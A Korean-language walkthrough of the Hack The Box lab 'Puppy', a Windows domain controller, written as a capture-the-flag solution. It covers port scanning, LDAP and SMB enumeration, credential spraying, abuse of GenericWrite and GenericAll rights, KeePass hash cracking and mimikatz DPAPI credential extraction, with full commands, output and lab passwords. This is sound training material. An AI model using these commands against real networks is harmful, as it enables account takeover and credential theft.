
As is common in real life pentests,
you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!
INFORMATION GATHERING
PORT SCANNING - TCP
- 개방된 TCP 포트 확인 결과 88(커버로스), 389(ldap), 636(ldaps) 등의 포트가 개방되어 있었다.
- 이를 통해 대상 호스트가 도메인 컨트롤러(DC)임을 유추할 수 있다.
- 추가로 5985 포트가 개방되어 있으므로 유효한 계정이 있으면 대상 호스트로 원격 접속이 가능하다.
➜ recon nmap -p- -sC -sV -Pn -n 10.129.28.145 -oN 10.129.28.145
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-30 18:22 KST
Nmap scan report for 10.129.28.145
Host is up (0.067s latency).
Not shown: 65512 filtered tcp ports (no-response)
Bug in iscsi-info: no string output.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-30 16:25:47Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2049/tcp open nlockmgr 1-4 (RPC #100021)
3260/tcp open iscsi?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49697/tcp open msrpc Microsoft Windows RPC
53153/tcp open msrpc Microsoft Windows RPC
53169/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-09-30T16:27:36
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h00m00s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 331.72 secondsPORT SCANNING - UDP
- UDP 포트 확인 결과 88번 포트 외 몇몇 포트가 개방되어 있었다.
➜ recon nmap -sU -sV -Pn -n --top-ports 100 10.129.28.145 -oN 10.129.28.145_UDP
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-30 18:23 KST
Nmap scan report for 10.129.28.145
Host is up (0.068s latency).
Not shown: 95 open|filtered udp ports (no-response)
PORT STATE SERVICE VERSION
53/udp open domain Simple DNS Plus
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-30 16:23:45Z)
111/udp open rpcbind?
123/udp open ntp NTP v3
2049/udp open nfs 2-4 (RPC #100003)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port111-UDP:V=7.95%I=7%D=9/30%Time=68DBA1AB%P=x86_64-pc-linux-gnu%r(ONC
SF:RPC_CALL,18,">\xec\xe3\xca\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01"
SF:);
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 562.60 secondsSMB Enumeration
- 최초에 주어진 계정정보(
levi.james)를 이용하여 SMB 열거를 진행했다. - 디폴트 쉐어 외에
ADMIN$,DEV쉐어를 확인했다. RW권한은 없었다.- 따라서, 읽기 및 실행 권한이 있는 타 계정을 획득할 수 있는지 조사해야 한다.
➜ / nxc smb 10.129.28.145 -u $HTB_USER -p $HTB_PASS --shares
SMB 10.129.28.145 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.28.145 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.28.145 445 DC [*] Enumerated shares
SMB 10.129.28.145 445 DC Share Permissions Remark
SMB 10.129.28.145 445 DC ----- ----------- ------
SMB 10.129.28.145 445 DC ADMIN$ Remote Admin
SMB 10.129.28.145 445 DC C$ Default share
SMB 10.129.28.145 445 DC DEV DEV-SHARE for PUPPY-DEVS
SMB 10.129.28.145 445 DC IPC$ READ Remote IPC
SMB 10.129.28.145 445 DC NETLOGON READ Logon server share
SMB 10.129.28.145 445 DC SYSVOL READ Logon server share- SMB 열거 과정에서 도메인 컨트롤러의 도메인 주소와 이름(NetBios)을 획득했으므로
/etc/hosts파일에 해당 정보를 IP와 맵핑해준다.

LDAP Enumeration
- 이어서 LDAP 열거를 통해 도메인 컨트롤러 내에 존재하는 유저 정보를 추출했다.
➜ / nxc ldap 10.129.28.145 -u $HTB_USER -p $HTB_PASS --users-export userlist
LDAP 10.129.28.145 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
LDAP 10.129.28.145 389 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
LDAP 10.129.28.145 389 DC [*] Enumerated 9 domain users: PUPPY.HTB
LDAP 10.129.28.145 389 DC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.28.145 389 DC Administrator 2025-02-20 04:33:28 0 Built-in account for administering the computer/domain
LDAP 10.129.28.145 389 DC Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.129.28.145 389 DC krbtgt 2025-02-19 20:46:15 0 Key Distribution Center Service Account
LDAP 10.129.28.145 389 DC levi.james 2025-02-19 21:10:56 5
LDAP 10.129.28.145 389 DC ant.edwards 2025-02-19 21:13:14 0
LDAP 10.129.28.145 389 DC adam.silver 2025-10-01 01:34:29 0
LDAP 10.129.28.145 389 DC jamie.williams 2025-02-19 21:17:26 5
LDAP 10.129.28.145 389 DC steph.cooper 2025-02-19 21:21:00 5
LDAP 10.129.28.145 389 DC steph.cooper_adm 2025-03-09 00:50:40 5
LDAP 10.129.28.145 389 DC [*] Writing 9 local users to userlistCredential Spraying Attack
levi.james계정의 패스워드로 크리덴셜 스프레잉 공격을 진행하였으나 유효한 계정은 발견되지 않았다.
➜ / nxc smb 10.129.28.145 -u ~/htb/Puppy/recon/userlist -p $HTB_PASS --continue-on-success
SMB 10.129.28.145 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.28.145 445 DC [-] PUPPY.HTB\Administrator:KingofAkron2025! STATUS_LOGON_FAILURE
SMB 10.129.28.145 445 DC [-] PUPPY.HTB\Guest:KingofAkron2025! STATUS_LOGON_FAILURE
SMB 10.129.28.145 445 DC [-] PUPPY.HTB\krbtgt:KingofAkron2025! STATUS_LOGON_FAILURE
SMB 10.129.28.145 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.28.145 445 DC [-] PUPPY.HTB\ant.edwards:KingofAkron2025! STATUS_LOGON_FAILURE
SMB 10.129.28.145 445 DC [-] PUPPY.HTB\adam.silver:KingofAkron2025! STATUS_LOGON_FAILURE
SMB 10.129.28.145 445 DC [-] PUPPY.HTB\jamie.williams:KingofAkron2025! STATUS_LOGON_FAILURE
SMB 10.129.28.145 445 DC [-] PUPPY.HTB\steph.cooper:KingofAkron2025! STATUS_LOGON_FAILURE
SMB 10.129.28.145 445 DC [-] PUPPY.HTB\steph.cooper_adm:KingofAkron2025! STATUS_LOGON_FAILURERemote access via winrm
- 포트스캔 과정에서 5985(WinRM) 포트가 개방됨을 확인했다.
- 주어진 초기 계정정보를 이용하여 원격 접속을 시도하였으나 실패했다.

Recon Summary
- [1] SMB 쉐어에서 유용한 정보는 발견되지 않았으며
- [2] 크리덴셜 스프레잉 공격도 불가했고
- [3] WinRM 원격접속도 실패했다.
- 블러드하운드를 이용하여 도메인 내 유용한 정보를 확인해 볼 필요가 있다.
- 블러드하운드 정보수집에는 다양한 방법이 있지만 여기서는
bloodhound-python도구를 사용했다.

- 추출한 압축파일을 블러드하운드에 넣고 정보를 확인해야 한다.
- 아래 과정을 거쳐 블러드하운드 초기 설정을 진행했다. (REFERNCE 1.)







bloodhound-python으로 정보를 수집했으나, 초기 계정(levi.james)에는 별다른 권한이 할당되어 있지 않았다.

- 이전 과정에서 뭔가 놓친게 있나싶어 증적을 확인해보니
bloodhound-python실행 시에 오류가 발생했던 것을 뒤늦게 발견했다. (KRB_AP_ERR_SKEW…)

- 오류 해결을 위해 아래 명령어로 공격/대상 호스트의 시간 동기화했다.
- https://www.moonding.co.kr/kerberos-session-error-solution/ (REFERENCE 2.)
- 이후 다시 블러드하운드 파이썬을 이용하여 LDAP 정보수집을 진행했다.
➜ htb timedatectl set-ntp off
➜ htb rdate -n 10.129.28.145
Wed Oct 1 04:30:20 KST 2025
[ . . . ]
➜ / bloodhound-python -d puppy.htb -u levi.james -p 'KingofAkron2025!' -ns 10.129.28.145 -dc dc.puppy.htb -c All --zip
- [1] 블러드하운드에서
levi.james사용자의 권한을 살펴보니DEVELOPERS그룹에 대하여GenericWrite권한이 존재했다. - [2] 또한,
DEVELOPERS그룹에 속한ANT.EDWARDS계정은SENIOR DEVS그룹의 멤버였으며ADAM.SILVER계정에 대하여GenericAll권한이 할당되어 있었다. - [3] 현재 Owned 계정은
levi.james이므로, 일단GenericWrite권한 악용을 시도한다.

- 정상적으로
levi.james계정이DEVELOPERS그룹의 멤버에 추가됐다. - 검증은
bloodyAD도구를 활용했다. (ldapsearch 등의 방법도 존재한다.)
➜ / net rpc group addmem "developers" "levi.james" -U "puppy.htb"/"levi.james"%"KingofAkron2025\!" -S "dc.puppy.htb"
[ . . . ]
(bloodyAD) ➜ ~ bloodyAD -u levi.james -p 'KingofAkron2025!' --host 10.129.28.145 --dc-ip 10.129.28.145 get object levi.james | grep -i member
memberOf: CN=DEVELOPERS,DC=PUPPY,DC=HTB; CN=HR,DC=PUPPY,DC=HTB
- 다시 SMB 쉐어의 권한을 살펴보면
levi.james계정에 읽기 권한이 부여됐다. - DEVELOPERS 그룹의 멤버는
DEV쉐어의 읽기 권한이 있음을 유추해 볼 수 있다.

- 해당 쉐어로 접근하였더니,
.kdbx파일이 존재했다. - 이 파일은 비밀번호를 관리하는 오픈소스 프로그램(KeePass)이다.

- kdbx 파일은 keepass2john 도구를 활용하면 해시 값으로 변환할 수 있는데
- 해시 크래킹에 성공하면 kdbx 파일을 열 때 사용되는 패스워드를 얻을 수 있다.
- [1] kdbx file - - - (변환) - - - > hash file
- [2] 해시 파일로부터 평문 패스워드 추출
Cracking hash from .kdbx file
- KDBX 파일로부터 평문 패스워드를 추출하기 위해 먼저 파일 형태를 해시로 변환해야 한다.
- 이 때,
keepass2john도구를 활용했는데 아래 오류 메시지가 발생했다.
➜ smb ls
john recovery.kdbx
➜ smb keepass2john recovery.kdbx > recovery.hash
! recovery.kdbx : File version '40000' is currently not supported!- 구글에 서칭을 해보니
john도구를 최신 릴리즈 버전으로 업데이트 해야 한다고 한다.

- https://github.com/openwall/john?tab=readme-ov-file
- 아래 명령어를 이용하여 최신
John The Ripper빌드를 진행했다. (ChatGPT)
# 1. 빌드에 필요한 패키지
sudo apt update
sudo apt install -y build-essential git libssl-dev zlib1g-dev yasm pkg-config \
libgmp-dev libpcap-dev libnss3-dev libkrb5-dev libbz2-dev
# 2. 최신 소스 다운로드 (bleeding-jumbo)
cd ~
git clone https://github.com/openwall/john -b bleeding-jumbo john-jumbo
cd john-jumbo/src
# 3. 빌드
./configure
make -sj$(nproc)
# 4. 실행 위치로 이동
cd ../run
# 5. 동작 확인
./john --test
./john --list=formats | grep -i keepass- 신규 존더리퍼 빌드 시에는
keepass2john바이너리도 최신화된다. - 이 바이너리를 이용하면 .kdbx 파일을 해시 파일로 변환할 수 있다.
➜ run git:(bleeding-jumbo) ./keepass2john ~/htb/Puppy/recon/smb/recovery.kdbx > ~/htb/Puppy/recon/smb/recovery.hash- 그리고 변환된 해시 파일을 크래킹하면 평문 패스워드가 추출된다.
- 이 패스워드는 .kdbx 파일의 비밀번호 이므로 해당 파일 열람 시 활용할 수 있다.

- .kdbx 파일은
keepassxc라는 도구를 사용하면 dbeavor 처럼 열람해서 값을 확인해 볼 수 있다.
➜ smb keepassxc
- kdbx 파일에는 계정정보 5개가 저장되어 있었다.
- ADAM SILVER / HJKL2025!
- ANTONY C. EDWARDS / Antman2025!
- JAMIE WILLIAMSON / JamieLove2025!
- SAMUEL BLAKE / ILY2025!
- STEVE TUCKER / Steve2025!

- 이 때,
ANT EDWARDS계정은SENIOR DEVS그룹의 멤버였으며ADAM.SILVER계정에 대하여GenericAll권한이 존재했으므로 해당 권한을 이용하면ADAM.SILVER계정의 패스워드 변경이 가능하다.

- 추가로 블러드하운드에서
ADAM.SILVER계정은REMOTE MANAGEMENT USERS그룹에 속한것을 확인했다. 이 그룹에 속한 경우 WinRM을 통해 원격접속이 가능하다. - 정리해보면,
ANT EDWARDS계정으로ADAM.SILVER계정의 패스워드 변경이 가능하다면 대상 호스트로(도메인 컨트롤러)의 원격 접속 또한 가능할 것으로 보인다.

Abusing GenericAll Permissinos
- GenericAll 권한을 악용하여 패스워드 변경 후 WinRM 접속을 시도했지만 실패했다.
- 해당 계정이 비활성화 상태인 경우 접속이 되지 않는 경우가 있기때문에 확인을 해봐야한다.
➜ smb net rpc password "adam.silver" "N3WP4SSW0RD123\!" -U "puppy.htb"/"ant.edwards"%"Antman2025\!" -S "dc.puppy.htb"
➜ smb nxc winrm 10.129.28.145 -u adam.silver -p "N3WP4SSW0RD123\!"
WINRM 10.129.28.145 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.28.145 5985 DC [-] PUPPY.HTB\adam.silver:N3WP4SSW0RD123!- 계정 비활성화 확인은 여러 방법이 있겠지만(?)
bloodyAD를 사용하여 확인했다. - 커버로스 인증을 위한 티켓은
impacket-getTGT를 이용하여 발급했다.- 굳이 티켓 발급을 하지 않고 패스워드를 사용해도 상관없다.
➜ exploit impacket-getTGT puppy.htb/ant.edwards -dc-ip 10.129.28.145
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[ . . . ]
➜ exploit rdate -n 10.129.28.145
Wed Oct 1 07:14:06 KST 2025
➜ exploit impacket-getTGT puppy.htb/ant.edwards -dc-ip 10.129.28.145
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Saving ticket in ant.edwards.ccache
[ . . . ]
➜ exploit export KRB5CCNAME=ant.edwards.ccacheINITIAL ACCESS
- [1]
adam.silver계정의 상세정보 확인- AD(Active Directory) 사용자 레코드의 주요 속성들(=attributes)
- [2]
adam.silver계정 비활성화 플래그 제거 (uac) - [3]
adam.silver계정 비활성화 플래그 제거 여부 검증 - [4]
adam.silver계정으로 원격접속(WinRM)- 가끔씩
net rpc명령어로 패스워드를 변경하거나 UAC 비활성화 플래그를 삭제해도 원복되는 경우가 있는데 이러한 경우에는 다시 패스워드 변경 및 계정 비활성화 플래그를 제거하고 진행해주면 된다.
- 가끔씩
# 위 (커버로스 인증 방식)
# 아래 (패스워드 인증 방식)
(bloodyAD) ➜ exploit bloodyAD --host dc.puppy.htb -d puppy.htb -k get object 'adam.silver'
(bloodyAD) ➜ exploit bloodyAD --host dc.puppy.htb -d puppy.htb -u 'ant.edwards' -p 'Antman2025!' get object 'adam.silver'
[ . . . ]
(bloodyAD) ➜ bloodyAD --host dc.puppy.htb -d puppy.htb -k remove uac -f ACCOUNTDISABLE adam.silver
(bloodyAD) ➜ bloodyAD --host dc.puppy.htb -d puppy.htb -k get object 'adam.silver' | grep -i userAccountControl

- `adam.silver` 계정으로 초기 침투에 성공하여 플래그를 확보했다.

POST EXPLOIT
Attempt to obtain NTLMv2 hash
ant.edwards의 쉐어 권한을 확인해보니 DEV 폴더에 READ,WRITE 권한이 존재했다.- 쓰기 권한이 있는 경우 ntlm_theft를 이용하여 NTLM 해시 획득이 가능한 경우가 있다.
- 이를 이용하여 NTLM 해시 탈취를 시도해봤으나 정보 획득은 불가했다.
➜ smb nxc smb 10.129.28.145 -u 'ant.edwards' -p 'Antman2025!' --shares
SMB 10.129.28.145 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.28.145 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
SMB 10.129.28.145 445 DC [*] Enumerated shares
SMB 10.129.28.145 445 DC Share Permissions Remark
SMB 10.129.28.145 445 DC ----- ----------- ------
SMB 10.129.28.145 445 DC ADMIN$ Remote Admin
SMB 10.129.28.145 445 DC C$ Default share
SMB 10.129.28.145 445 DC DEV READ,WRITE DEV-SHARE for PUPPY-DEVS
SMB 10.129.28.145 445 DC IPC$ READ Remote IPC
SMB 10.129.28.145 445 DC NETLOGON READ Logon server share
SMB 10.129.28.145 445 DC SYSVOL READ Logon server share2. Internal Recon (adam.silver)
puppy\adam.silver계정에 부여된Se[?]Privilege권한으로는 권한 상승이 불가했다.
*Evil-WinRM* PS C:\Users> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enable- C:\Backup 경로에서는 백업 파일로 보이는 압축파일을 확인했다.
- 공격자 호스트로 다운로드 후 활용 가능한 중요정보가 있는지 확인이 필요하다.

➜ exploit ls
ant.edwards.ccache ntlm_theft site-backup-2024-12-30.zip
➜ exploit 7z x site-backup-2024-12-30.zip
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=en_US.UTF-8 Threads:16 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 4639546 bytes (4531 KiB)
Extracting archive: site-backup-2024-12-30.zip
--
Path = site-backup-2024-12-30.zip
Type = zip
Physical Size = 4639546
Everything is Ok
Folders: 9
Files: 40
Size: 6635053
Compressed: 4639546nms-auth-config.xml.bak파일을 확인해보니 LDAP 통신하는 계정정보가 존재했다.

LATERAL MOVEMENT (adam.silver > steph.cooper)
- 획득한 계정으로 WinRM 원격접속 가능했다. (블러드하운드에서도 확인한 내용)
➜ puppy nxc smb 10.129.28.145 -u 'steph.cooper' -p 'ChefSteph2025!'
Internal Recon (steph.cooper)
steph.cooper계정으로 측면이동 후 권한상승을 위한 공격 표면을 탐색한다.- [1] 파워쉘 히스토리 확인 (중요정보 없음)
- [2] Unquoted Path, Service Binary/DLL Hijacking, Misconfigured Service Permissions, Se[?]Priviliege, Credential Manager, …, 등의 여러가지 권한 상승 포인트를 조사하였으나 악용 가능한 지점은 발견하지 못했다.
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Windows> (Get-PSReadLineOption).HistorySavePath
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ServerRemoteHost_history.txt
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Windows> dir
Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Windows
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 3/8/2025 7:40 AM AccountPictures
d----- 5/8/2021 1:20 AM CloudStore
d-r--- 3/8/2025 7:40 AM Libraries
d----- 5/8/2021 1:20 AM Network Shortcuts
d----- 5/8/2021 1:20 AM Printer Shortcuts
d-r--- 3/8/2025 7:40 AM Recent
d-r--- 3/8/2025 7:40 AM SendTo
d----- 3/8/2025 7:52 AM ServerManager
d-r--- 3/8/2025 7:40 AM Start Menu
d----- 5/8/2021 1:20 AM Templates
d----- 3/8/2025 8:01 AM ThemesAbusing Windows DPAPI masterkey
- DPAPI는 운영체제 레벨에서 암호화를 쉽게 진행할 수 있도록 Win32API를 제공해주는 윈도우 API다. 윈도우 환경에서 실행되는 소프트웨어를 만들 때 대칭/비대칭 암호화를 사용하는 경우가 있는데, 이 때 사용되는 키 혹은 정보를 암호화하여 안전하게 사용 및 관리하기 위해
DPAPI Masterkey를 사용한다고 한다.DPAPI Masterkey는 보통 아래 경로에 저장되는데, 이 키 값을 확보하면 DPAPI를 이용하여 암호화된 중요정보를 복호화하여 확인할 수 있게 된다. (여담으로 DPAPI를 이용해 저장된 정보는DPAPI Secrets라고 부른다고 한다.)DPAPI Masterkey Path - C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>
- SharpDPAPI.exe 바이너리를 사용하면 쉽게 DPAPI 마스터키 경로를 확인할 수 있다.
*Evil-WinRM* PS C:\ProgramData> .\SharpDPAPI.exe masterkeys /password:ChefSteph2025!
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.2
[*] Action: User DPAPI Masterkey File Triage
[*] Will decrypt user masterkeys with password: ChefSteph2025!
[*] Found MasterKey : C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
[*] User master key cache:
{556a2412-1275-4ccf-b721-e6a0b4f90407}:4BE520BECFFF09F17E45269C9156768EE03609CEDecrypt DPAPI masterkey with MIMIKATZ
- 미미카츠 /rpc 옵션을 이용하여 마스터키 복호화 시도
d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
*Evil-WinRM* PS C:\programdata> .\mimikatz.exe "dpapi::masterkey /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 /rpc" exit
.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
[ . . . ]
Auto SID from path seems to be: S-1-5-21-1487982659-1829050783-2281216199-1107
[domainkey] with RPC
[DC] 'PUPPY.HTB' will be the domain
[DC] 'DC.PUPPY.HTB' will be the DC server
key : d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
sha1: 3c3cf2061dd9d45000e9e6b49e37c7016e98e701
mimikatz(commandline) # exit
Bye!Extract Credentials
- [1] DPAPI Saved Credentials (RDP, 스케줄 작업, 등) 가 저장된 파일의 경로는 아래와 같았다.
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> ls -force
Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:54 AM 414 C8D69EBE9A43E9DEBF6B5FBD48B521B9- [2] 이전 과정에서 획득한 2가지 정보(
Decrypted DPAPI Masterkey,DPAPI Saved Credentials Path)를 활용하여steph.cooper계정에 저장된 계정정보 추출에 성공했다.- 획득한 계정정보 (steph.cooper_adm / FivethChipOnItsWay2025!)
*Evil-WinRM* PS C:\programdata> .\mimikatz.exe "dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 /masterkey:d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84" exit
[ . . . ]
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 3/8/2025 3:54:29 PM
unkFlagsOrSize : 00000030 - 48
Persist : 00000003 - 3 - enterprise
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=PUPPY.HTB
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : steph.cooper_adm
CredentialBlob : FivethChipOnItsWay2025!
Attributes : 0
mimikatz(commandline) # exit
Bye!LATERAL MOVEMENT (steph.cooper > steph.cooper_adm)
- DPAPI 기능을 악용하여
steph.cooper_adm계정으로 측면이동에 성공했다.

steph.cooper계정은 로컬 관리자 그룹에 속해 있어 별도 권한상승 없이 루트 플래그 확인이 가능했다.
